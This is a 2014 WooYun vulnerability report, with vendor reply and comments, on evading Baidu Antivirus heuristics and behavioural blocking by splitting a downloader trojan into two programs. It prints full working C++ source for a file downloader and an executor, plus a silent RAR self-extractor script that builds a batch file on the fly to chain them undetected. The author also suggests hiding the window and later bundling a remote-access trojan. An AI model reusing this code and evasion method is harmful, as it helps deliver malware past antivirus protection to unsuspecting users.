当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-058905

漏洞标题:同时绕过百度启发式引擎和主动防御

相关厂商:百度

漏洞作者: 成王败寇

提交时间:2014-04-29 18:23

修复时间:2014-07-25 18:24

公开时间:2014-07-25 18:24

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-29: 细节已通知厂商并且等待厂商处理中
2014-04-30: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-06-24: 细节向核心白帽子及相关领域专家公开
2014-07-04: 细节向普通白帽子公开
2014-07-14: 细节向实习白帽子公开
2014-07-25: 细节向公众公开

简要描述:

启发式查杀和主动防御在不同的两个逻辑层面进行系统防护,但都依靠对恶意软件的恶意行为来进行查杀,如果恶意行为被分散在不同的逻辑层面上,将会令这两大防御功能同时失效!

详细说明:

XP停维护了,好多杀软嚷嚷着接微软的班,好吧,现在流行调戏杀毒软件,俺也来凑个热闹,其实以前给公司卖命的时候有N多调戏杀软的东西不能公布分享,现在俺就一个人,也想来乌云添砖加瓦!
百度杀毒有4大引擎,卡巴斯基杀毒引擎、云查杀引擎、极光引擎和智能修复引擎,其实新产生的病毒只需要过掉卡巴斯基杀毒引擎和极光引擎就够了。这其实曾经是以前公布过的一个思路,现在不少杀软改正了,但并不彻底。
现在拿下载者为例,下载者的恶意特征就是“下载+执行”,大多数启发式杀毒只要看到山寨软件有这个行为就会报毒了,但如果我们把“下载+执行”分成两个文件会怎么样?DownFile.exe负责下载,ExecFile.exe负责把下载下来的东西跑起来,单独看两个文件都是没有恶意行为的,但它们配合到一起,嘿嘿。。。。。你懂的,两个文件配合的方式很多,利用bat、vbs、压缩包、系统回调等等想怎么玩都行。
下面是实验过程细节:
两个简单的测试程序代码:

// DownFile.cpp : 负责下载一个exe程序,这里我用winrar的安装包替代,
//文件很大演示的时候能看清步骤,如果是马的话瞬间就结束了。
#include "stdafx.h"
#include "Wininet.h"
#pragma comment(lib, "Wininet")
#define BUFLEN 16384
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
ULONG dwFlags;
InternetGetConnectedState(&dwFlags,0);

HINTERNET hOpen;
if (dwFlags & INTERNET_CONNECTION_PROXY)
{
hOpen = InternetOpen("Microsoft Internet Explorer",INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY,NULL,NULL,0);
}
else
{
hOpen = InternetOpen("Microsoft Internet Explorer",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
}
if (!hOpen)
{
MessageBoxA(NULL,NULL,"Internet 连接错误",MB_OK);
return -1;
}

ULONG dwSize;
CHAR szHead[] = "Accept: */* \r\n\r\n";


VOID * szTemp[BUFLEN];
memset(szTemp,0,BUFLEN);
HINTERNET hConnect;
if (!(hConnect = InternetOpenUrlA(hOpen,"http://www.winrar.com.cn/download/wrar501sc.exe",szHead,lstrlenA(szHead),INTERNET_FLAG_DONT_CACHE|INTERNET_FLAG_PRAGMA_NOCACHE
|INTERNET_FLAG_RELOAD,0)))
{
MessageBoxA(NULL,NULL,"URL出错",MB_OK);
return -1;
}


HANDLE hFile = CreateFileA("whatsthis",GENERIC_READ|GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);

if (hFile == NULL)
{
MessageBoxA(NULL,NULL,"创建文件出错",MB_OK);
return -1;
}
ULONG dwByteToRead = 0;
ULONG dwSizeOfRq = 4;
ULONG dwBytes = 0;

if (!HttpQueryInfo(hConnect,HTTP_QUERY_CONTENT_LENGTH|HTTP_QUERY_FLAG_NUMBER,(LPVOID)&dwByteToRead,&dwSizeOfRq,NULL))
{
dwByteToRead=0;
}

do
{
if (!InternetReadFile(hConnect,szTemp,BUFLEN,&dwSize))
{
MessageBoxA(NULL,NULL,"读网络文件出错",MB_OK);
CloseHandle(hFile);
return -1;
}

if (dwSize == 0)//下载完就退出循环
{
break;
}
else
{
DWORD lpNumberOfBytesWritten=0;
if (!WriteFile(hFile,szTemp,dwSize,&lpNumberOfBytesWritten,NULL))
{
MessageBoxA(NULL,NULL,"写文件出错",MB_OK);
}
dwBytes+=dwSize;
}

} while (TRUE);
CloseHandle(hFile);
//普通下载者会想办法在一个程序里执行这一步骤
//WinExec("c:\\whatsthis",SW_SHOW);
return 0;
}
// ExecFile.cpp :负责运行下载下来的“马”
//
#include "stdafx.h"
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
WinExec(".\\whatsthis",SW_SHOW);
return 0;
}


让两个程序配合起来这里我用的是rar自解压包的方式,懒得写程序了,rar是好东西!简单有效!自解压脚本命令如下:
Setup=cmd /c echo DownFile.exe>e.bat
Setup=cmd /c echo ExecFile.exe>>e.bat
Setup=cmd /c e.bat
TempMode
Silent=1
上面这段解释一下,e.bat负责让两个文件配合起来,这里使用临时生成的方式,如果直接使用写好的e.bat还是会报,临时生成就不报了,这是很关键的一个步骤,这样杀软就无法将2个文件之间建立起联系,这也同样是利用了杀软的逻辑处理不当的问题。
OK,压缩完包后拿去测试,整个过程百度杀毒都很沉默。。。。。。
其实不光百度,瑞星、金山等好多都有这问题,这是个普遍现象,360这次倒是表现不错,文件还没运行就给报毒了,下次想办法过掉360。
剩下的一些细节,例如隐藏黑窗体、减小体积就靠大家自由发挥了。

漏洞证明:

注意百度杀毒版本号为测试当天的最新版本,红色圆圈为生成好的下载者压缩包。

1.jpg


运行压缩包下载者后,测试用的rar安装包被自动下载并且成功执行,整个过程百度杀毒没有任何提示!

2.jpg


程序源码,演示程序,视频等资源联系我都可以公开提供。

修复方案:

建立多个文件之间关联分析模型,切断配合路径。

版权声明:转载请注明来源 成王败寇@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-07-25 18:24

厂商回复:

对于下载的可执行文件 , 下载保护引擎,会检测是否为恶意程序,如果为恶意程序,则为有弹窗或者其他处理行为。如果没有检查出来,当这个程序运行的时候,如果其行为触发主防的规则,主防再会弹窗或者进行其他处理。故认为此处并不属于绕过。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-04-30 01:38 | 熊猫 ( 实习白帽子 | Rank:64 漏洞数:33 | panda)

    挺高深的

  2. 2014-04-30 10:50 | 大白菜 ( 实习白帽子 | Rank:52 漏洞数:19 )

    - -逻辑?,,,,,动作?

  3. 2014-04-30 20:26 | 成王败寇 ( 路人 | Rank:10 漏洞数:4 | 屌丝一枚)

    漏洞提交之前实验程序是免杀的,提交之后实验程序再用百度查杀直接被定义为下载者木马,忽略漏洞却又查杀实验程序,厂商这是肿么个逻辑,有点让人整不明白了。

  4. 2014-04-30 21:48 | 成王败寇 ( 路人 | Rank:10 漏洞数:4 | 屌丝一枚)

    漏洞忽略后,厂商却把实验程序杀了,更尼玛逗比的是查杀的理由竟然是“下载者木马”!到底尼玛承不承认这是下载者木马,承认为毛忽略,不承认为毛杀了!截图为证:http://yxyhack.free3v.net/downloader.jpg

  5. 2014-05-01 13:26 | 小怿 ( 路人 | Rank:29 漏洞数:6 | )

    @成王败寇 你提供了实验程序属于恶意程序他们当然会更新病毒库了。。但是在没加入病毒库前,他们的防护规则是否提醒了呢?

  6. 2014-05-01 18:08 | cat73 ( 实习白帽子 | Rank:34 漏洞数:6 | 喵爱吃鱼, 喵要吃好多好多鱼~~地址栏输入...)

    我认为如果没在特征库就无法防护那就算一个漏洞因为一个程序从出来到进入特征库需要一些时间这些时间可以做太多事了再说就算进去了 重新编译一下 完事 又绕过了

  7. 2014-05-01 18:55 | 成王败寇 ( 路人 | Rank:10 漏洞数:4 | 屌丝一枚)

    @小怿 没加病毒库前没有任何防护规则报警,查杀也不提示下载者,本来做这个就是为了绕过百度的启发式引擎和主动防御的。

  8. 2014-05-01 18:59 | 成王败寇 ( 路人 | Rank:10 漏洞数:4 | 屌丝一枚)

    @cat73 百度给忽略了,主要是我提供的下载者没有下载恶意程序,所以厂商不认为这是漏洞,非逼我弄点恶意程序才行,呵呵。好吧,本来是为了做个演示表达一下思路,不想搞的太绝,既然厂商这么较真,那我下次把灰鸽子弄进去,也不截图了,直接录视频。

  9. 2014-05-03 01:50 | softbug ( 实习白帽子 | Rank:66 漏洞数:10 | 为人类设计最好的软件,解放人的双手,一起...)

    有了360卫士,然后有了各种卫士,包括百度卫士有了360杀毒,然后有了各种杀毒,包括百度杀毒好了,都别较真了。这玩意都只是玩具!彼此抢夺市场的工具而已。

  10. 2014-05-17 19:03 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @疯狗

  11. 2014-07-26 16:17 | Ton7BrEak ( 普通白帽子 | Rank:211 漏洞数:43 | 吃苦耐劳,我只会第一个!)

    过来mark下

  12. 2015-01-16 13:21 | 木马游民 ( 路人 | Rank:17 漏洞数:8 | I love LSD!)

    我晕,这种简单的小思路也给钱